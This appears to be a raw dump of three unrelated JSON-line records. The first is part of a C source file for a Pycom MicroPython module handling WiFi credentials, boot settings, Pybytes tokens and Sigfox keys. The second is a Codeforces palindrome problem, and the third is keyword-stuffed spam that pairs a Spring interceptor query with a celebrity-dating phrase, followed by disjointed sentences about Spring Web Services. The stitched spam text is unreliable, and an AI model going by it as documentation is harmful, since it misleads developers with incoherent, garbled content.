else{/*Nothing*/}\n    } else {\n        uint8_t * pwd = (uint8_t *)malloc(65);\n        mp_obj_t pwd_obj;\n        if(config_get_wifi_sta_pwd(pwd))\n        {\n            pwd_obj = mp_obj_new_str((const char *)pwd, strlen((const char *)pwd));\n        }\n        else\n        {\n            pwd_obj = mp_const_none;\n        }\n        free(pwd);\n        return pwd_obj;\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wifi_pwd_sta_obj, 0, 1, mod_pycom_wifi_pwd_sta);\n\nSTATIC mp_obj_t mod_pycom_wifi_ssid_ap (mp_uint_t n_args, const mp_obj_t *args) {\n    if (n_args) {\n        if(args[0] == mp_const_none)\n        {\n            config_set_wifi_ap_ssid (NULL);\n        }\n        else if (MP_OBJ_IS_STR(args[0]))\n        {\n            config_set_wifi_ap_ssid ((uint8_t *)(mp_obj_str_get_str(args[0])));\n        }\n        else{/*Nothing*/}\n    } else {\n        uint8_t * ssid = (uint8_t *)malloc(33);\n        mp_obj_t ssid_obj;\n        if(config_get_wifi_ap_ssid(ssid))\n        {\n            ssid_obj = mp_obj_new_str((const char *)ssid, strlen((const char *)ssid));\n        }\n        else\n        {\n            ssid_obj = mp_const_none;\n        }\n        free(ssid);\n        return ssid_obj;\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wifi_ssid_ap_obj, 0, 1, mod_pycom_wifi_ssid_ap);\n\nSTATIC mp_obj_t mod_pycom_wifi_pwd_ap (mp_uint_t n_args, const mp_obj_t *args) {\n    if (n_args) {\n        if(args[0] == mp_const_none)\n        {\n            config_set_wifi_ap_pwd (NULL);\n        }\n        else if (MP_OBJ_IS_STR(args[0]))\n        {\n            config_set_wifi_ap_pwd ((uint8_t *)(mp_obj_str_get_str(args[0])));\n        }\n        else{/*Nothing*/}\n    } else {\n        uint8_t * pwd = (uint8_t *)malloc(65);\n        mp_obj_t pwd_obj;\n        if(config_get_wifi_ap_pwd(pwd))\n        {\n            pwd_obj = mp_obj_new_str((const char *)pwd, strlen((const char *)pwd));\n        }\n        else\n        {\n            pwd_obj = mp_const_none;\n        }\n        free(pwd);\n        return pwd_obj;\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wifi_pwd_ap_obj, 0, 1, mod_pycom_wifi_pwd_ap);\n\n\nSTATIC mp_obj_t mod_pycom_wdt_on_boot (mp_uint_t n_args, const mp_obj_t *args) {\n    if (n_args) {\n        config_set_wdt_on_boot (mp_obj_is_true(args[0]));\n    } else {\n        return mp_obj_new_bool(config_get_wdt_on_boot());\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wdt_on_boot_obj, 0, 1, mod_pycom_wdt_on_boot);\n\nSTATIC mp_obj_t mod_pycom_wdt_on_boot_timeout (mp_uint_t n_args, const mp_obj_t *args) {\n    if (n_args) {\n        uint32_t timeout_ms = mp_obj_get_int(args[0]);\n        if (timeout_ms < WDT_ON_BOOT_MIN_TIMEOUT_MS) {\n            nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"WDT on boot timeout must be >= 5000 ms\"));\n        }\n        config_set_wdt_on_boot_timeout (timeout_ms);\n    } else {\n        return mp_obj_new_int_from_uint(config_get_wdt_on_boot_timeout());\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_wdt_on_boot_timeout_obj, 0, 1, mod_pycom_wdt_on_boot_timeout);\n\nSTATIC mp_obj_t mod_pycom_heartbeat_on_boot (mp_uint_t n_args, const mp_obj_t *args) {\n    if (n_args) {\n        config_set_heartbeat_on_boot (mp_obj_is_true(args[0]));\n    } else {\n        return mp_obj_new_bool(config_get_heartbeat_on_boot());\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_heartbeat_on_boot_obj, 0, 1, mod_pycom_heartbeat_on_boot);\n\nSTATIC mp_obj_t mod_pycom_lte_modem_on_boot (mp_uint_t n_args, const mp_obj_t *args) {\n    if (n_args) {\n        config_set_lte_modem_enable_on_boot (mp_obj_is_true(args[0]));\n    } else {\n        return mp_obj_new_bool(config_get_lte_modem_enable_on_boot());\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_lte_modem_on_boot_obj, 0, 1, mod_pycom_lte_modem_on_boot);\n\nSTATIC mp_obj_t mod_pycom_pybytes_on_boot (mp_uint_t n_args, const mp_obj_t *args) {\n    if (n_args) {\n        config_set_pybytes_autostart (mp_obj_is_true(args[0]));\n    } else {\n        return mp_obj_new_bool(config_get_pybytes_autostart());\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_pybytes_on_boot_obj, 0, 1, mod_pycom_pybytes_on_boot);\n\n\nSTATIC mp_obj_t mod_pycom_pybytes_lte_config (size_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    enum { ARG_carrier, ARG_apn, ARG_cid, ARG_band, ARG_type, ARG_reset };\n    STATIC const mp_arg_t allowed_args[] = {\n            { MP_QSTR_carrier,          MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n            { MP_QSTR_apn,              MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n            { MP_QSTR_cid,              MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n            { MP_QSTR_band,             MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n            { MP_QSTR_type,             MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n            { MP_QSTR_reset,            MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n\n    };\n\n    mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n    pycom_pybytes_lte_config_t pycom_pybytes_lte_config = config_get_pybytes_lte_config();\n\n    if (n_args == 0) {\n        mp_obj_tuple_t *t = MP_OBJ_TO_PTR(mp_obj_new_tuple(6, NULL));\n\n        if(pycom_pybytes_lte_config.carrier[0] == 0xFF && pycom_pybytes_lte_config.carrier[1] == 0xFF && pycom_pybytes_lte_config.carrier[2] == 0xFF)\n        {\n            t->items[ARG_carrier] = mp_const_none;\n        }\n        else\n        {\n            t->items[ARG_carrier] = mp_obj_new_str((const char *)pycom_pybytes_lte_config.carrier, strlen((const char *)pycom_pybytes_lte_config.carrier));\n        }\n\n        if(pycom_pybytes_lte_config.apn[0] == 0xFF && pycom_pybytes_lte_config.apn[1] == 0xFF && pycom_pybytes_lte_config.apn[2] == 0xFF)\n        {\n            t->items[ARG_apn] = mp_const_none;\n        }\n        else\n        {\n            t->items[ARG_apn] = mp_obj_new_str((const char *)pycom_pybytes_lte_config.apn, strlen((const char *)pycom_pybytes_lte_config.apn));\n        }\n        if(pycom_pybytes_lte_config.cid == 0xFF)\n        {\n            t->items[ARG_cid] = mp_obj_new_int(1);\n        }\n        else\n        {\n            t->items[ARG_cid] = mp_obj_new_int(pycom_pybytes_lte_config.cid);\n        }\n        if(pycom_pybytes_lte_config.band == 0xFF)\n        {\n            t->items[ARG_band] = mp_const_none;\n        }\n        else\n        {\n            t->items[ARG_band] = mp_obj_new_int(pycom_pybytes_lte_config.band);\n        }\n        if(pycom_pybytes_lte_config.type[0] == 0xFF)\n        {\n            t->items[ARG_type] = mp_const_none;\n        }\n        else\n        {\n            t->items[ARG_type] = mp_obj_new_str((const char *)pycom_pybytes_lte_config.type, strlen((const char *)pycom_pybytes_lte_config.type));\n        }\n        if(pycom_pybytes_lte_config.reset == 0xff)\n        {\n            t->items[ARG_reset] = mp_const_false;\n        }\n        else\n        {\n            t->items[ARG_reset] = mp_obj_new_bool(pycom_pybytes_lte_config.reset);\n        }\n        return MP_OBJ_FROM_PTR(t);\n\n    } else {\n        nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Error this functionality is not yet supported!\"));\n    }\n\n    return mp_const_none;\n}\n\nSTATIC MP_DEFINE_CONST_FUN_OBJ_KW(mod_pycom_pybytes_lte_config_obj, 0, mod_pycom_pybytes_lte_config);\n\nSTATIC mp_obj_t mod_pycom_bootmgr (size_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    enum { ARG_boot_partition, ARG_fs_type, ARG_safeboot, ARG_status };\n    STATIC const mp_arg_t allowed_args[] = {\n            { MP_QSTR_boot_partition,   MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = 255} },\n            { MP_QSTR_fs_type,          MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = 255} },\n            { MP_QSTR_safeboot,         MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = 255} },\n            { MP_QSTR_reset,            MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = false} },\n    };\n\n    mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n    if (args[ARG_boot_partition].u_int == 255 && args[ARG_fs_type].u_int == 255 && args[ARG_safeboot].u_int == 255) {\n        mp_obj_tuple_t *t = MP_OBJ_TO_PTR(mp_obj_new_tuple(4, NULL));\n\n        if(boot_info.ActiveImg == 0x00)\n        {\n            t->items[ARG_boot_partition] = mp_obj_new_str(\"Factory\", strlen(\"Factory\"));\n        }\n        else\n        {\n            t->items[ARG_boot_partition] = mp_obj_new_str(\"ota_0\", strlen(\"ota_0\"));\n        }\n\n        if(config_get_boot_fs_type() == 0x00)\n        {\n            t->items[ARG_fs_type] = mp_obj_new_str(\"FAT\", strlen(\"FAT\"));\n        }\n        else\n        {\n            t->items[ARG_fs_type] = mp_obj_new_str(\"LittleFS\", strlen(\"LittleFS\"));\n        }\n\n        if(boot_info.safeboot == 0x00)\n        {\n            t->items[ARG_safeboot] = mp_obj_new_str(\"SafeBoot: False\", strlen(\"SafeBoot: False\"));\n        }\n        else\n        {\n            t->items[ARG_safeboot] = mp_obj_new_str(\"SafeBoot: True\", strlen(\"SafeBoot: True\"));\n        }\n        if(boot_info.Status == 0x00)\n        {\n            t->items[ARG_status] = mp_obj_new_str(\"Status: Check\", strlen(\"Status: Check\"));\n        }\n        else\n        {\n            t->items[ARG_status] = mp_obj_new_str(\"Status: Ready\", strlen(\"Status: Ready\"));\n        }\n\n        return MP_OBJ_FROM_PTR(t);\n\n    } else {\n        modpycom_bootmgr(args[ARG_boot_partition].u_int, args[ARG_fs_type].u_int, args[ARG_safeboot].u_int, args[3].u_bool);\n    }\n\n    return mp_const_none;\n}\n\nSTATIC MP_DEFINE_CONST_FUN_OBJ_KW(mod_pycom_bootmgr_obj, 0, mod_pycom_bootmgr);\n\nSTATIC mp_obj_t mod_pycom_get_free_heap (void) {\n\n    size_t heap_psram_free = 0;\n    mp_obj_t items[2];\n\n    if (esp32_get_chip_rev() > 0) {\n        heap_psram_free = heap_caps_get_free_size(MALLOC_CAP_SPIRAM | MALLOC_CAP_8BIT);\n    }\n    items[0] = mp_obj_new_int(heap_caps_get_free_size(MALLOC_CAP_INTERNAL | MALLOC_CAP_8BIT));\n    if(heap_psram_free)\n    {\n        items[1] = mp_obj_new_int(heap_psram_free);\n    }\n    else\n    {\n        items[1] = mp_obj_new_str(\"NO_EXT_RAM\", strlen(\"NO_EXT_RAM\"));\n    }\n\n    return mp_obj_new_tuple(2, items);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_get_free_heap_obj, mod_pycom_get_free_heap);\n\n#if (VARIANT == PYBYTES)\n\nSTATIC mp_obj_t mod_pycom_pybytes_device_token (void) {\n    uint8_t pybytes_device_token[39];\n    config_get_pybytes_device_token(pybytes_device_token);\n    return mp_obj_new_str((const char*)pybytes_device_token,strlen((const char*)pybytes_device_token));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_pybytes_device_token_obj, mod_pycom_pybytes_device_token);\n\n\nSTATIC mp_obj_t mod_pycom_pybytes_mqttServiceAddress (void) {\n    uint8_t pybytes_mqttServiceAddress[39];\n    config_get_pybytes_mqttServiceAddress(pybytes_mqttServiceAddress);\n    return mp_obj_new_str((const char*)pybytes_mqttServiceAddress,strlen((const char*)pybytes_mqttServiceAddress));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_pybytes_mqttServiceAddress_obj, mod_pycom_pybytes_mqttServiceAddress);\n\nSTATIC mp_obj_t mod_pycom_pybytes_userId (void) {\n    uint8_t pybytes_userId[254];\n    config_get_pybytes_userId(pybytes_userId);\n    return mp_obj_new_str((const char*)pybytes_userId,strlen((const char*)pybytes_userId));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_pybytes_userId_obj, mod_pycom_pybytes_userId);\n\nSTATIC mp_obj_t mod_pycom_pybytes_network_preferences (void) {\n    uint8_t pybytes_network_preferences[54];\n    config_get_pybytes_network_preferences(pybytes_network_preferences);\n    return mp_obj_new_str((const char*)pybytes_network_preferences,strlen((const char*)pybytes_network_preferences));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_pybytes_network_preferences_obj, mod_pycom_pybytes_network_preferences);\n\nSTATIC mp_obj_t mod_pycom_pybytes_extra_preferences (void) {\n    uint8_t pybytes_extra_preferences[99];\n    config_get_pybytes_extra_preferences(pybytes_extra_preferences);\n    return mp_obj_new_str((const char*)pybytes_extra_preferences,strlen((const char*)pybytes_extra_preferences));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_pybytes_extra_preferences_obj, mod_pycom_pybytes_extra_preferences);\n\nSTATIC mp_obj_t mod_pycom_pybytes_force_update (mp_uint_t n_args, const mp_obj_t *args) {\n    if (n_args) {\n        config_set_pybytes_force_update (mp_obj_is_true(args[0]));\n    } else {\n        return mp_obj_new_bool(config_get_pybytes_force_update());\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_pybytes_force_update_obj, 0, 1, mod_pycom_pybytes_force_update);\n\nSTATIC mp_obj_t mod_pycom_smartConfig (mp_uint_t n_args, const mp_obj_t *args) {\n    if (n_args) {\n        config_set_wifi_smart_config ((uint8_t)(mp_obj_is_true(args[0])), true);\n    } else {\n        return mp_obj_new_bool(config_get_wifi_smart_config());\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_smartConfig_obj, 0, 1, mod_pycom_smartConfig);\n\n#endif //(VARIANT == PYBYTES)\n\n\n// Helper function to return decimal value of a hexadecimal character coded in ASCII\nSTATIC uint8_t hex_from_char(const char c) {\n\n    if((uint8_t)c >= '0' && (uint8_t)c <= '9') {\n        return c - '0';\n    }\n    else if((uint8_t)c >= 'A' && (uint8_t)c <= 'F') {\n        return c - ('A' - 10);\n    }\n    else if((uint8_t)c >= 'a' && (uint8_t)c <= 'f') {\n        return c - ('a' - 10);\n    }\n    else {\n        // 16 is invalid, because in hexa allowed range is 0 - 15\n        return 16;\n    }\n\n}\n\n\nSTATIC mp_obj_t mod_pycom_sigfox_info (size_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    enum { ARG_id, ARG_pac, ARG_public_key, ARG_private_key, ARG_force };\n    STATIC const mp_arg_t allowed_args[] = {\n            { MP_QSTR_id,           MP_ARG_KW_ONLY  | MP_ARG_OBJ,  {.u_obj = mp_const_none} },\n            { MP_QSTR_pac,          MP_ARG_KW_ONLY  | MP_ARG_OBJ,  {.u_obj = mp_const_none} },\n            { MP_QSTR_public_key,   MP_ARG_KW_ONLY  | MP_ARG_OBJ,  {.u_obj = mp_const_none} },\n            { MP_QSTR_private_key,  MP_ARG_KW_ONLY  | MP_ARG_OBJ,  {.u_obj = mp_const_none} },\n            { MP_QSTR_force,        MP_ARG_KW_ONLY  | MP_ARG_BOOL, {.u_bool = false} }\n    };\n    mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n    uint8_t id[4];\n    uint8_t pac[8];\n    uint8_t public_key[16];\n    uint8_t private_key[16];\n\n    config_get_sigfox_id(id);\n    config_get_sigfox_pac(pac);\n    config_get_sigfox_public_key(public_key);\n    config_get_sigfox_private_key(private_key);\n\n\n    if (args[ARG_id].u_obj == mp_const_none && args[ARG_pac].u_obj == mp_const_none && args[ARG_public_key].u_obj == mp_const_none && args[ARG_private_key].u_obj == mp_const_none) {\n        // query sigfox info\n\n        if ( !is_empty(id, sizeof(id)) && !is_empty(pac, sizeof(pac)) && !is_empty(public_key, sizeof(public_key)) && !is_empty(private_key, sizeof(private_key)) ){\n            // all configs valid\n            return mp_const_true;\n        } else {\n            return mp_const_false;\n        }\n    } else {\n        // write sigfox info\n\n        // temporary array to store even the longest value from id, pac, public_key and private_key\n        uint8_t tmp_array[16];\n        size_t length;\n        bool ret_val = false;\n\n        if (args[ARG_id].u_obj != mp_const_none) {\n\n            if ( args[ARG_force].u_bool == true || is_empty(id, sizeof(id)) ) {\n\n                const char* id = mp_obj_str_get_data(args[ARG_id].u_obj, &length);\n\n                if(length != 8) {\n                    nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"ID must have length of 8!\"));\n                }\n\n                // Put together every 2 characters of the string (which are digits from 0 - 9 and a/A - f/F) into 1 bytes because the available space is half of the required one\n                for(int i = 0, j = 0; i < length; i = i+2) {\n                    uint8_t lower_nibble = hex_from_char(id[i+1]);\n                    uint8_t upper_nibble = hex_from_char(id[i]);\n\n                    if(lower_nibble == 16 || upper_nibble == 16) {\n                        nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"ID must only contain hexadecimal digits!\"));\n                    }\n\n                    tmp_array[j] = lower_nibble | (upper_nibble << 4);\n                    j++;\n                }\n\n                ret_val = config_set_sigfox_id(tmp_array);\n                if (ret_val == false) {\n                    nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Failed to write id\"));\n                }\n            } else {\n                nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Use force option to overwrite existing id!\"));\n            }\n        }\n        if (args[ARG_pac].u_obj != mp_const_none) {\n\n            if (args[ARG_force].u_bool == true || is_empty(pac, sizeof(pac))) {\n\n                const char* pac = mp_obj_str_get_data(args[ARG_pac].u_obj, &length);\n\n                if(length != 16) {\n                    nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"PAC must have length of 16!\"));\n                }\n\n                // Put together every 2 characters of the string (which are digits from 0 - 9 and a/A - f/F) into 1 bytes because the available space is half of the required one\n                for(int i = 0, j = 0; i < length; i = i+2) {\n                    uint8_t lower_nibble = hex_from_char(pac[i+1]);\n                    uint8_t upper_nibble = hex_from_char(pac[i]);\n\n                    if(lower_nibble == 16 || upper_nibble == 16) {\n                        nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"PAC must only contain hexadecimal digits!\"));\n                    }\n\n                    tmp_array[j] = lower_nibble | (upper_nibble << 4);\n                    j++;\n                }\n\n                ret_val = config_set_sigfox_pac(tmp_array);\n                if (ret_val == false) {\n                    nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Failed to write pac\"));\n                }\n            } else {\n                nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Use force option to overwrite existing pac!\"));\n            }\n        }\n        if (args[ARG_public_key].u_obj != mp_const_none) {\n\n            if (args[ARG_force].u_bool == true || is_empty(public_key, sizeof(public_key))) {\n\n                const char* public_key = mp_obj_str_get_data(args[ARG_public_key].u_obj, &length);\n\n                if(length != 32) {\n                    nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Public Key must have length of 32!\"));\n                }\n\n                // Put together every 2 characters of the string (which are digits from 0 - 9 and a/A - f/F) into 1 bytes because the available space is half of the required one\n                for(int i = 0, j = 0; i < length; i = i+2) {\n                    uint8_t lower_nibble = hex_from_char(public_key[i+1]);\n                    uint8_t upper_nibble = hex_from_char(public_key[i]);\n\n                    if(lower_nibble == 16 || upper_nibble == 16) {\n                        nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Public Key must only contain hexadecimal digits!\"));\n                    }\n\n                    tmp_array[j] = lower_nibble | (upper_nibble << 4);\n                    j++;\n                }\n\n                ret_val = config_set_sigfox_public_key(tmp_array);\n                if (ret_val == false) {\n                    nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Failed to write public key\"));\n                }\n            } else {\n                nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Use force option to overwrite existing public key!\"));\n            }\n\n        }\n        if (args[ARG_private_key].u_obj != mp_const_none) {\n\n            if (args[ARG_force].u_bool == true || is_empty(private_key, sizeof(private_key))) {\n\n                const char* private_key = mp_obj_str_get_data(args[ARG_private_key].u_obj, &length);\n\n                if(length != 32) {\n                    nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Private Key must have length of 32\"));\n                }\n\n                // Put together every 2 characters of the string (which are digits from 0 - 9 and a/A - f/F) into 1 bytes because the available space is half of the required one\n                for(int i = 0, j = 0; i < length; i = i+2) {\n                    uint8_t lower_nibble = hex_from_char(private_key[i+1]);\n                    uint8_t upper_nibble = hex_from_char(private_key[i]);\n\n                    if(lower_nibble == 16 || upper_nibble == 16) {\n                        nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Private Key must only contain hexadecimal digits!\"));\n                    }\n\n                    tmp_array[j] = lower_nibble | (upper_nibble << 4);\n                    j++;\n                }\n\n                ret_val = config_set_sigfox_private_key(tmp_array);\n                if (ret_val == false) {\n                    nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Failed to write private key\"));\n                }\n            } else {\n                nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Use force option to overwrite existing private key!\"));\n            }\n        }\n        return mp_const_true;\n    }\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_KW(mod_pycom_sigfox_info_obj, 0, mod_pycom_sigfox_info);\n\nSTATIC const mp_map_elem_t pycom_module_globals_table[] = {\n        { MP_OBJ_NEW_QSTR(MP_QSTR___name__),                        MP_OBJ_NEW_QSTR(MP_QSTR_pycom) },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_heartbeat),                       (mp_obj_t)&mod_pycom_heartbeat_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_rgbled),                          (mp_obj_t)&mod_pycom_rgb_led_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_ota_start),                       (mp_obj_t)&mod_pycom_ota_start_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_ota_write),                       (mp_obj_t)&mod_pycom_ota_write_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_ota_finish),                      (mp_obj_t)&mod_pycom_ota_finish_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_ota_verify),                      (mp_obj_t)&mod_pycom_ota_verify_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_ota_slot),                        (mp_obj_t)&mod_pycom_ota_slot_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_pulses_get),                      (mp_obj_t)&mod_pycom_pulses_get_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_nvs_set),                         (mp_obj_t)&mod_pycom_nvs_set_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_nvs_get),                         (mp_obj_t)&mod_pycom_nvs_get_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_nvs_erase),                       (mp_obj_t)&mod_pycom_nvs_erase_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_nvs_erase_all),                   (mp_obj_t)&mod_pycom_nvs_erase_all_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_wifi_on_boot),                    (mp_obj_t)&mod_pycom_wifi_on_boot_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_wdt_on_boot),                     (mp_obj_t)&mod_pycom_wdt_on_boot_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_wdt_on_boot_timeout),             (mp_obj_t)&mod_pycom_wdt_on_boot_timeout_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_heartbeat_on_boot),               (mp_obj_t)&mod_pycom_heartbeat_on_boot_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_lte_modem_en_on_boot),            (mp_obj_t)&mod_pycom_lte_modem_on_boot_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_get_free_heap),                   (mp_obj_t)&mod_pycom_get_free_heap_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_wifi_ssid_sta),                   (mp_obj_t)&mod_pycom_wifi_ssid_sta_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_wifi_ssid_ap),                    (mp_obj_t)&mod_pycom_wifi_ssid_ap_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_wifi_pwd_sta),                    (mp_obj_t)&mod_pycom_wifi_pwd_sta_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_wifi_pwd_ap),                     (mp_obj_t)&mod_pycom_wifi_pwd_ap_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_wifi_mode_on_boot),               (mp_obj_t)&mod_pycom_wifi_mode_obj },\n\n#if defined(FIPY) || defined(LOPY4) || defined(SIPY)\n        { MP_OBJ_NEW_QSTR(MP_QSTR_sigfox_info),                     (mp_obj_t)&mod_pycom_sigfox_info_obj },\n#endif\n\n#if (VARIANT == PYBYTES)\n        { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_device_token),            (mp_obj_t)&mod_pycom_pybytes_device_token_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_mqttServiceAddress),      (mp_obj_t)&mod_pycom_pybytes_mqttServiceAddress_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_userId),                  (mp_obj_t)&mod_pycom_pybytes_userId_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_network_preferences),     (mp_obj_t)&mod_pycom_pybytes_network_preferences_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_extra_preferences),       (mp_obj_t)&mod_pycom_pybytes_extra_preferences_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_force_update),            (mp_obj_t)&mod_pycom_pybytes_force_update_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_smart_config_on_boot),            (mp_obj_t)&mod_pycom_smartConfig_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_lte_config),              (mp_obj_t)&mod_pycom_pybytes_lte_config_obj },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_on_boot),                 (mp_obj_t)&mod_pycom_pybytes_on_boot_obj },\n\n#endif //(VARIANT == PYBYTES)\n        { MP_OBJ_NEW_QSTR(MP_QSTR_bootmgr),                         (mp_obj_t)&mod_pycom_bootmgr_obj },\n\n        // class constants\n        { MP_OBJ_NEW_QSTR(MP_QSTR_FACTORY),                         MP_OBJ_NEW_SMALL_INT(0) },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_OTA_0),                           MP_OBJ_NEW_SMALL_INT(1) },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_FAT),                           MP_OBJ_NEW_SMALL_INT(0) },\n        { MP_OBJ_NEW_QSTR(MP_QSTR_LittleFS),                        MP_OBJ_NEW_SMALL_INT(1) },\n\n};\n\nSTATIC MP_DEFINE_CONST_DICT(pycom_module_globals, pycom_module_globals_table);\n\nconst mp_obj_module_t pycom_module = {\n        .base = { &mp_type_module },\n        .globals = (mp_obj_dict_t*)&pycom_module_globals,\n};", "source": "cpt_stack_code", "language": "code", "token_count": 11834, "token_count_with_eod": 11835, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Kolya has a string s of length n consisting of lowercase and uppercase Latin letters and digits.\n\nHe wants to rearrange the symbols in s and cut it into the minimum number of parts so that each part is a palindrome and all parts have the same lengths. A palindrome is a string which reads the same backward as forward, such as madam or racecar.\n\nYour task is to help Kolya and determine the minimum number of palindromes of equal lengths to cut s into, if it is allowed to rearrange letters in s before cuttings.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Payloadvalidatinginterceptor not working maks chmerkovskiy erin still dating\nThe message dispatcher operates on a message context, and not transport-specific input stream and output stream.\nAs a result, transport specific requests need to read into a Spring Web Services supports multiple transport protocols.\nThe following xml snippets shows an example: The first two bean definitions are straight forward, Spring WS offer other endpoint mapping strategies so feel free to explore.\nThe remoting module in the Core Spring Framework contains a convenient factory bean for the HTTP server: the Finally, Spring Web Services 2.0 introduced support for XMPP, otherwise known as Jabber. Spring Web Services support for XMPP is very similar to the other transports: there is a a Endpoints are the central concept in Spring-WS's server-side support.\nEndpoints provide access to the application behavior which is typically defined by a business service interface.\nAn endpoint interprets the XML request message and uses that input to invoke a method on the business service (typically).\nThe result of that service invocation is represented as a response message.\nThe embedded HTTP Server is a standalone server that is simple to configure.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 236, "token_count_with_eod": 237, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
